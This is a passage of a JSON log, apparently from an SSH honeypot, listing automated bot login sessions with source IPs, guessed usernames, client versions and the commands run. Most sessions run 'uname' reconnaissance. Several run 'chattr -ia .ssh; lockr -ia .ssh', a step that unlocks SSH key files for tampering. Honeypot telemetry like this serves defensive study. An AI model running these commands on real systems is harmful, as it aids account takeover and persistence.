  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37164,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 482,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:44:17.982867+00:00",
  "ended_at": "2026-08-26T13:44:21.752196+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7174fda1-315e-4d85-be7e-621af5c57b3e",
  "name": "autumn-craggy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 925,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:44:17.298460+00:00",
  "ended_at": "2026-08-26T13:44:18.623063+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cd15fe3f-84ad-4f77-8459-173f84229507",
  "name": "merry-subtle-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40520,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 397,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:51.586149+00:00",
  "ended_at": "2026-08-26T13:43:56.266003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98535dc4-fd0f-4014-a5c5-3c27ead58383",
  "name": "zealous-amber-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59540,
  "username": "lin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:50.417721+00:00",
  "ended_at": "2026-08-26T13:43:54.725008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "439322a1-5c09-4c0e-ab8a-e2b8ec532e3c",
  "name": "golden-proud-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:49.103754+00:00",
  "ended_at": "2026-08-26T13:43:50.445943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb8d8dff-caa8-4917-9730-2d891cdd4c01",
  "name": "gentle-proud-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47610,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:47.817254+00:00",
  "ended_at": "2026-08-26T13:43:53.599247+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76a17a04-81fc-46e0-842e-f42baf2ed11f",
  "name": "opal-quaint-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40600,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:43:47.076076+00:00",
  "ended_at": "2026-08-26T13:43:48.360001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2067
 },
 {
  "id": "529c48de-0a95-48d8-b2c8-12c187c0104a",
  "name": "dewy-pristine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:45.441750+00:00",
  "ended_at": "2026-08-26T13:43:47.326053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42543b63-fc4b-40b7-9a13-ec41d327ec93",
  "name": "fickle-rugged-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:43:44.740814+00:00",
  "ended_at": "2026-08-26T13:43:46.271835+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "fe002db5-31c1-489b-8858-f75cc6ad9998",
  "name": "icy-supple-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56382,
  "username": "lin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 687,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:43.541685+00:00",
  "ended_at": "2026-08-26T13:43:54.724048+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6330d549-69b4-44ac-aa31-6f762d4dbb2e",
  "name": "umber-distant-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52726,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:35.403566+00:00",
  "ended_at": "2026-08-26T13:43:40.241421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "708ff0d4-c68c-4af3-ac57-f2b5230fc0c5",
  "name": "honest-daring-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46438,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 479,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:29.878090+00:00",
  "ended_at": "2026-08-26T13:43:40.242526+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "83fa7bc5-5eaa-4c2b-a58f-e06fa28ddcd0",
  "name": "early-rapid-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 59320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:28.974452+00:00",
  "ended_at": "2026-08-26T13:43:30.495706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2410df0-f5e5-473b-9be3-aa727d1586ac",
  "name": "flinty-murky-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40602,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:28.682930+00:00",
  "ended_at": "2026-08-26T13:43:30.391264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c921a4f5-a690-4083-8ecf-871ab1dd46d4",
  "name": "downy-frosty-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 59312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:26.441242+00:00",
  "ended_at": "2026-08-26T13:43:28.369230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f36849e9-a629-4dab-93ab-02b440dd91d8",
  "name": "primal-gallant-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40601,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:26.020808+00:00",
  "ended_at": "2026-08-26T13:43:27.193046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6509a8d-b04c-4481-9ce1-4b3ace67c82f",
  "name": "vivid-crystal-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:01.086836+00:00",
  "ended_at": "2026-08-26T13:43:04.493309+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5cb160c7-2a72-45c7-b87d-1cee23d1db2c",
  "name": "proud-spirited-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38854,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:42:59.750133+00:00",
  "ended_at": "2026-08-26T13:43:05.889719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6dca6cf7-41bc-49a7-9189-df052f9dcbce",
  "name": "jovial-quiet-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35728,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:42:39.735038+00:00",
  "ended_at": "2026-08-26T13:42:45.621616+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1eb5d4fb-74e8-425b-905b-ad48485b24f5",
  "name": "smooth-lively-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51084,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 366,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:42:29.220025+00:00",
  "ended_at": "2026-08-26T13:42:34.589316+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c93a8bb9-63df-4b8b-ac91-227cadb0251c",
  "name": "dappled-forlorn-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:42:17.884163+00:00",
  "ended_at": "2026-08-26T13:42:22.688263+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ace463a-6631-461e-9ac5-9343e18b6a9d",
  "name": "chilly-sooty-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34690,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 633,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:58.509877+00:00",
  "ended_at": "2026-08-26T13:42:01.506611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39442dc8-58e1-4445-9fb1-c3bb5766a4a1",
  "name": "arctic-distant-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50178,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:46.161037+00:00",
  "ended_at": "2026-08-26T13:41:52.098249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "163daaed-ce86-40b1-adca-4df6ae065541",
  "name": "indigo-wiry-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62784,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:43.909269+00:00",
  "ended_at": "2026-08-26T13:41:44.902723+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2086
 },
 {
  "id": "4b482c66-c258-442a-b102-f3d4fcc1546c",
  "name": "ivory-wandering-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62804,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:41:32.593505+00:00",
  "ended_at": "2026-08-26T13:41:34.519428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77c61bb5-fdb8-466b-8b5c-43a1590f8de5",
  "name": "wistful-flinty-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37626,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:32.482223+00:00",
  "ended_at": "2026-08-26T13:41:36.845087+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2b3e66f-8ea4-45a7-b4b8-83efb71a92ad",
  "name": "solemn-hardy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:41:30.652525+00:00",
  "ended_at": "2026-08-26T13:41:32.017074+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c53200e5-5cae-4ed8-8c7e-b05daed43c74",
  "name": "burly-regal-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 716,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:18.208467+00:00",
  "ended_at": "2026-08-26T13:41:23.461382+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca69e61c-8a2d-4afe-b22e-fc68e2783b8b",
  "name": "calm-knotted-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56378,
  "username": "botuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:41:12.767914+00:00",
  "ended_at": "2026-08-26T13:41:18.491417+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b75b4f9b-239a-4419-9071-cf275ffca881",
  "name": "windswept-upland-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56988,
  "username": "botuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 668,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:08.963093+00:00",
  "ended_at": "2026-08-26T13:41:18.492519+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "cb3ba518-0c4e-4f70-9050-d020bad8cb20",
  "name": "russet-weathered-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40597,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:02.716304+00:00",
  "ended_at": "2026-08-26T13:41:03.522586+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "858a0932-be08-43d0-afe3-adec50fe91cb",
  "name": "loyal-lucid-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:01.736509+00:00",
  "ended_at": "2026-08-26T13:41:03.499969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "43e8c54f-7ad1-4e06-aeed-e7e1c81f1221",
  "name": "wistful-brisk-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45018,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:56.764135+00:00",
  "ended_at": "2026-08-26T13:41:02.549251+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5d19b9d-2523-4bdf-882c-445ed36e751c",
  "name": "tender-plucky-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:54.492561+00:00",
  "ended_at": "2026-08-26T13:40:55.011631+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "253e058f-ec5c-4ec8-b0ea-f97426ae293d",
  "name": "quaint-mindful-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40599,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:47.690117+00:00",
  "ended_at": "2026-08-26T13:40:49.299067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4382adc-63aa-42ab-ab49-9bafb30605ef",
  "name": "indigo-quartz-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:45.356544+00:00",
  "ended_at": "2026-08-26T13:40:46.200741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f28b3e02-40dc-43d3-900b-8000f91ff42a",
  "name": "stormy-upland-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51288,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:40.251031+00:00",
  "ended_at": "2026-08-26T13:40:44.486046+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fc5f5d03-7a4d-422b-b5d1-5c2ec841e4ff",
  "name": "quaint-dusty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:30.914460+00:00",
  "ended_at": "2026-08-26T13:40:32.949886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "022a8699-6539-41cb-8e83-e6920adfdc4d",
  "name": "frugal-bashful-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59364,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:29.946232+00:00",
  "ended_at": "2026-08-26T13:40:37.313171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "601eaa1d-9130-4916-af4e-f2be796a10f6",
  "name": "tender-whispering-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:27.320840+00:00",
  "ended_at": "2026-08-26T13:40:28.599606+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56d1dda8-77de-4e70-b49a-793258a41342",
  "name": "sleepy-nameless-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58656,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 703,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:23.196144+00:00",
  "ended_at": "2026-08-26T13:40:37.311836+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6915dcbe-f477-4ce2-bea2-9dd874d6fe6b",
  "name": "verdant-marine-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:20.829920+00:00",
  "ended_at": "2026-08-26T13:40:26.004872+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35e74820-8fc3-412a-ae66-9ad75150f123",
  "name": "orderly-brisk-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57002,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:14.585662+00:00",
  "ended_at": "2026-08-26T13:40:18.762966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10312c28-2549-418e-96fd-6c5e643a656f",
  "name": "thawing-muted-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54268,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:08.455748+00:00",
  "ended_at": "2026-08-26T13:40:18.763829+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "4639407a-a989-4eef-b216-2c9d52afc280",
  "name": "grassy-austere-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:46.272192+00:00",
  "ended_at": "2026-08-26T13:39:51.229000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4d6094e-7276-43a2-845a-328c4555f3bf",
  "name": "vigilant-amiable-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56164,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:39:44.534056+00:00",
  "ended_at": "2026-08-26T13:39:45.132972+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2052
 },
 {
  "id": "75042c5e-430b-490c-bb72-710e290a39e6",
  "name": "peaty-jagged-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 59907,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:38.074151+00:00",
  "ended_at": "2026-08-26T13:39:41.201549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02f33255-4654-4a6c-bbb3-bb4b12a9245c",
  "name": "fabled-snowy-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56168,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:37.212549+00:00",
  "ended_at": "2026-08-26T13:39:38.690383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ffe3a76-bb30-4805-a89b-c930ec566f04",
  "name": "fearless-whispering-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56166,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:35.736109+00:00",
  "ended_at": "2026-08-26T13:39:36.615940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74c0328f-8e7f-4362-8152-d05cd1328e7c",
  "name": "emerald-quiet-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 609,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:31.876628+00:00",
  "ended_at": "2026-08-26T13:39:37.440030+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
